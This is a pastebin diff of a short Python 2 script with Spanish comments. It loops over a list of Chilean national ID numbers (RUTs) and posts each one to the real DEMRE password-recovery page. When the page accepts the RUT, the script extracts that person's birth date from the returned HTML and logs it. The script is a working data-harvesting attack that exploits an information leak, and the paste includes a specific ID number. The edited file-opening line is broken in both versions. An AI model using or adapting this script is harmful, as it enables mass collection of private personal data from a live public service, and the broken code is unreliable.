SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/env python | |
2 | #-*- coding:utf-8 -*- | |
3 | ||
4 | ||
5 | import urllib2 | |
6 | import urllib | |
7 | ||
8 | - | rut = open(18439934-2) # El archivo Rut.txt debe contener el rut de la forma 11111111-1 |
8 | + | rut = open 18439934-2 # El archivo Rut.txt debe contener el rut de la forma 11111111-1 |
9 | log = open('log.txt', 'w') # Aqui se guardaran los resultados con la estructura [rut fecha] | |
10 | rut_leido = rut.readlines() | |
11 | url = "http://recuperaclave.demre.cl/recuperaclave/RecuperaClave.action" # La URL en cuestion | |
12 | ||
13 | ||
14 | def nacimiento(): | |
15 | for x in range(0, len(rut_leido)): # Para cada ususario hacemos el bucle | |
16 | usuario = 'c' + rut_leido[x] # la pagina espera el rut con un 'c' al principio | |
17 | datos = {"usuarioIdVO": usuario} # Los parametros a postear | |
18 | parametros = urllib.urlencode(datos) | |
19 | pagina = urllib2.urlopen(url, parametros) | |
20 | codigo = pagina.readlines() | |
21 | usr = usuario[1:-1] # Borramos el 'c' del principio y el \n' del final | |
22 | if len(codigo) == 154: # si la pagina resultane es de 154 lineas asepto el rut | |
23 | log.write(usr + ' ' + codigo[101][17:25] + '\n') | |
24 | print usr, codigo[101][17:25] | |
25 | log.close() # cerramos los archivos | |
26 | rut.close() # cerramos los archivos | |
27 | ||
28 | ||
29 | nacimiento() |